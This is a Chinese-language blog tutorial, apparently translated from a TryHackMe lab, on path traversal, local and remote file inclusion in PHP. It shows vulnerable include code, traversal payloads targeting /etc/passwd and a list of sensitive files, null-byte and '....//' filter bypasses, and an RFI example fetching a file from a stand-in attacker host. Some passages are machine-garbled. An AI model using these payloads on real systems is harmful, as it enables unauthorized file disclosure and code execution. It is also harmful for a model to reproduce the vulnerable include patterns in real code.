Featured image of post 文件包含-1

文件包含-1

文件包含-1

文件包含基础

介绍

此房间旨在为您提供利用文件包含漏洞的基本知识,包括本地文件包含 (LFI)、远程文件包含 (RFI) 和目录遍历。此外,我们还将讨论发现这些漏洞的风险以及所需的补救措施。我们提供了每个漏洞的一些实际示例以及实践挑战。

在某些情况下,编写 Web 应用程序是为了通过参数请求访问给定系统上的文件,包括图像、静态文本等。参数是附加到 URL 的查询参数字符串,可用于检索数据或根据用户输入执行作。 下图分解了 URL 的基本部分。

例如,参数用于 Google 搜索,其中 GET 请求将用户输入传递到搜索引擎中。 https://www.google.com/search?q=TryHackMe

让我们讨论一个用户请求从 Web 服务器访问文件的场景。首先,用户向 Web 服务器发送一个 HTTP 请求,其中包含要显示的文件。例如,如果用户想要在 Web 应用程序中访问和显示其 CV,则请求可能如下所示,http://webapp.thm/get.php?file=userCV.pdf,其中 file 是参数,userCV.pdf是要访问的必需文件。

为什么会出现文件包含漏洞?

文件包含漏洞通常在 Web 应用程序(如 PHP )的各种编程语言 中发现和利用,这些应用程序编写和实现都很糟糕。这些漏洞的主要问题是输入验证,其中用户输入没有经过清理或验证,由用户控制它们。当输入未经过验证时,用户可以将任何输入传递给函数,从而导致漏洞。

文件包含有什么风险?

默认情况下,攻击者可以利用文件包含漏洞来泄露数据,例如代码、凭据或与 Web 应用程序或作系统相关的其他重要文件。此外,如果攻击者可以通过任何其他方式将文件写入服务器,则文件包含可能会协同使用以获得远程命令执行 (RCE)。

路径遍历

也称为目录遍历,允许攻击者读取作系统资源,例如运行应用程序的服务器上的本地文件。攻击者通过纵和滥用 Web 应用程序的 URL 来查找和访问存储在应用程序根目录之外的文件或目录,从而利用此漏洞。

当用户的输入传递到 PHP 中的 file_get_contents 等函数时,会出现路径遍历漏洞。请务必注意,该函数并不是导致此漏洞的主要因素。通常,糟糕的输入验证或筛选是导致此漏洞的原因。在 PHP 中,您可以使用 file_get_contents 读取文件的内容。

下图显示了 Web 应用程序如何在 /var/www/app 中存储文件。满意的路径是用户请求 从定义的路径 /var/www/app/CVs userCV.pdf

我们 可以通过添加有效负载来测试 URL 参数,以查看 Web 应用程序的行为方式。路径遍历攻击,也称为点-点-斜杠攻击,利用双点将目录上移一步。 如果攻击者找到入口点,在本例中为 get.php?file=,那么攻击者可能会发送如下内容 http://webapp.thm/get.php?file=../../../../etc/passwd

假设没有输入验证,而不是访问 PDF 文件位于 /var/www/app/CVs 位置,则 Web 应用程序会从其他 目录,在本例中为 /etc/passwd。每个 .. 条目都会移动一个目录,直到到达根目录 /。然后,它将目录更改为 /etc,然后从那里读取 passwd 文件。

因此,Web 应用程序将文件的内容发送回给用户。

同样,如果 Web 应用程序在 Windows 服务器上运行,攻击者需要提供 Windows 路径。例如,如果攻击者想要读取位于c:\boot.ini 中的 boot.ini 文件,则攻击者可以根据目标尝试以下作 作系统版本:

1
2
3
http://webapp.thm/get.php?file=../../../../boot.ini 
http://webapp.thm/get.php?file=../../../../windows/win.ini

与 Linux作系统相同的概念在这里适用,在这种作系统中,我们爬上目录直到它到达根目录,这通常是 .

有时,开发人员会添加过滤器以限制仅访问某些文件或目录。以下是测试时可以使用的一些常见作系统文件。

位置 描述
/etc/issue 包含要在登录提示之前打印的消息或系统标识。
/etc/profile 控制系统范围的默认变量,如导出变量、文件创建掩码 (umask)、终端类型、邮件消息,以指示新邮件何时到达
/proc/version 指定 Linux 内核的版本
etc/passwd 等/passwd 具有有权访问系统的所有注册用户
/etc/shadow 包含有关系统用户密码的信息
/root/.bash_history 包含 root 用户的 history 命令
/var/log/dmessage 包含全局系统消息,包括系统启动期间记录的消息
`/var/mail/root 用户的所有电子邮件
/root/.ssh/id_rsa 服务器上 root 或任何已知有效用户的私有 SSH 密钥
/var/log/apache2/access.log Web 服务器的访问请求
C:\boot.ini C:\boot.ini 包含具有 BIOS 固件的计算机的启动选项

本地文件包含 LFI

针对 Web 应用程序的 LFI 攻击通常是由于开发人员缺乏安全意识。使用 PHP 时,使用 include、require、include_once 和 require_once 等功能通常会导致 Web 应用程序易受攻击。在这个房间里,我们将挑选 PHP,但值得注意的是,使用其他语言(如 ASP、JSP)甚至在 Node.js 应用程序中也会出现 LFI 漏洞。LFI 漏洞利用遵循与路径遍历相同的概念。

1
2
3
<?PHP 
	include($_GET["lang"]);
?>

上面的 PHP 代码通过 URL 参数 lang 使用 GET 请求来包含页面的文件。可以通过发送以下 HTTP 请求来完成调用,如下所示:http://webapp.thm/index.php?lang=EN.php 加载英文页面或 http://webapp.thm/index.php?lang=AR.php加载阿拉伯语页面,其中 EN.php 和 AR.php文件位于同一目录中。

理论上,如果没有任何输入验证,我们可以从上面的代码中访问和显示服务器上的任何可读文件。假设我们想读取 /etc/passwd 文件,其中包含有关 Linux作系统用户的敏感信息,我们可以尝试以下作:http://webapp.thm/get.php?file=/etc/passwd

在这种情况下,它之所以有效,是因为 include 函数中没有指定目录,也没有输入验证。

接下来,在下面的代码中,开发人员决定指定函数内部的目录。

1
2
3
<?PHP 
	include("languages/". $_GET['lang']); 
?>

在上面的代码中,开发者决定使用 include 函数,只通过 lang 参数调用 languages 目录下的 PHP 页面。

如果没有输入验证,攻击者可以通过将 lang 输入替换为其他作系统敏感文件(如 /etc/passwd)来纵 URL。

同样,有效负载看起来类似于路径遍历,但 include 函数允许我们将任何调用的文件包含到当前页面中。以下是漏洞利用:

1
http://webapp.thm/index.php?lang=../../../../etc/passwd

本地文件包含 LFI2

在这项任务中,我们将更深入地了解 LFI。我们讨论了在 include 函数中绕过过滤器的几种技术。

在前两种情况下,我们检查了 Web 应用程序的代码,然后我们知道如何利用它。但是,在本例中,我们正在执行黑盒测试,其中我们没有源代码。在这种情况下,错误对于了解数据如何传递和处理到 Web 应用程序中非常重要。

在此方案中,我们有以下入口点: http://webapp.thm/index.php?lang=EN 。如果我们输入无效的输入(例如 THM),则会收到以下错误

1
Warning: include(languages/THM.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

错误消息泄露了重要信息。输入 THM 作为输入后,将显示一条错误消息,显示 include 函数的外观:include(languages/THM.php);

如果你仔细查看该目录,我们可以看出 functions includes files in the languages 目录正在添加 .php 的 API 文件。因此,有效的输入将如下所示:index.php?lang=EN,其中文件 EN 位于给定的语言目录中,名为 EN。php 的

此外,错误消息还泄露了有关完整 Web 应用程序目录路径的另一条重要信息,即 /var/www/html/THM-4/

要利用这一点,我们需要使用 ../ 技巧,如 目录遍历 部分所述,以导出当前文件夹。让我们尝试以下作:

1
http://webapp.thm/index.php?lang=../../../../etc/passwd

请注意,我们使用了 4 ../ 因为我们知道该路径有四个级别 /var/www/html/THM-4。但我们仍然收到以下错误:

1
Warning: include(languages/../../../../../etc/passwd.php): failed to open stream: No such file or directory in /var/www/html/THM-4/index.php on line 12

似乎我们可以移出 PHP 目录,但是 include 函数仍然使用 .PHP 最后!这告诉我们开发人员指定要传递给 include 函数的文件类型。要绕过这种情况,我们可以使用 NULL BYTE,即 %00

使用空字节是一种注入技术,其中 URL 编码的表示形式(如 %00 或 0x00)以十六进制表示形式与用户提供的数据一起终止字符串。您可以将其视为试图欺骗 Web 应用程序忽略 Null Byte 之后的任何内容。

通过在有效负载的末尾添加 Null Byte,我们告诉 include 函数忽略 null 字节之后的任何内容,这可能如下所示:

1
include("languages/../../../../../etc/passwd%00").".php"); `等同于 `include("languages/../../../../../etc/passwd");

注意: %00 技巧是固定的,不适用于 PHP 5.3.4 及更高版本。

现在在实验 #4 中应用这个技术,并弄清楚如何读取 /etc/passwd。

http://webapp.thm/index.php?lang=../../../../etc/passwd

我们收到了以下错误!

1
Warning: include(languages/etc/passwd): failed to open stream: No such file or directory in /var/www/html/THM-5/index.php on line 15

如果我们检查 include(languages/etc/passwd) 部分中的警告消息,我们知道 Web 应用程序替换了 ../ 替换为空字符串。我们可以使用几种技术来绕过这种情况。

首先,我们可以发送以下 payload 来绕过它: ....//....//....//....//....//etc/passwd

这之所以有效,是因为 PHP 过滤器仅匹配并替换第一个子集字符串 ../ 它找到并且不执行另一次传递,留下下图所示的内容。

最后,我们将讨论开发人员强制 include 从定义的目录中读取的情况!例如,如果 Web 应用程序要求提供必须包含目录的输入,例如: http://webapp.thm/index的php?lang=languages/EN.php然后,要利用这一点,我们需要将目录包含在有效负载中,如下所示: ?lang=languages/../../../../../etc/passwd

远程文件包含 RFI

远程文件包含 (RFI) 是一种将远程文件包含到易受攻击的应用程序中的技术。与 LFI 一样,RFI 发生在对用户输入进行不当审查时,从而允许攻击者将外部 URL 注入 include 函数。RFI 的一个要求是需要打开 allow_url_fopen 选项。

RFI 的风险高于 LFI,因为 RFI 漏洞允许攻击者在服务器上获得远程命令执行 (RCE)。RFI 攻击成功的其他后果包括:

  • 敏感信息泄露
  • 跨站点脚本 (XSS)
  • 拒绝服务 (DoS)

外部服务器必须与应用程序服务器通信,才能成功进行 RFI 攻击,攻击者在其服务器上托管恶意文件。然后,恶意文件通过 HTTP 请求注入 include 函数,恶意文件的内容在易受攻击的应用程序服务器上执行。

RFI步骤

下图是成功进行 RFI 攻击的步骤示例!假设攻击者在他们自己的服务器 http://attacker 上托管了一个 PHP 文件。thm/cmd.txt,其中 cmd.txt 包含打印消息 Hello THM.

1
<?PHP echo "Hello THM"; ?>

首先,攻击者注入恶意 URL,该 URL 指向攻击者的服务器,例如 http://webapp.thm/index.php?lang=http://attacker.thm/cmd.txt的攻击者。THM/cmd.txt。如果没有输入验证,则恶意 URL 将传递到 include 函数中。接下来,Web 应用程序服务器将向恶意服务器发送 GET 请求以获取文件。因此,Web 应用程序将远程文件包含在 include 函数中,以执行页面内的 PHP 文件并将执行内容发送给攻击者。在我们的示例中,当前页面在某处必须显示 Hello THM 消息。

使用 Hugo 构建
主题 StackJimmy 设计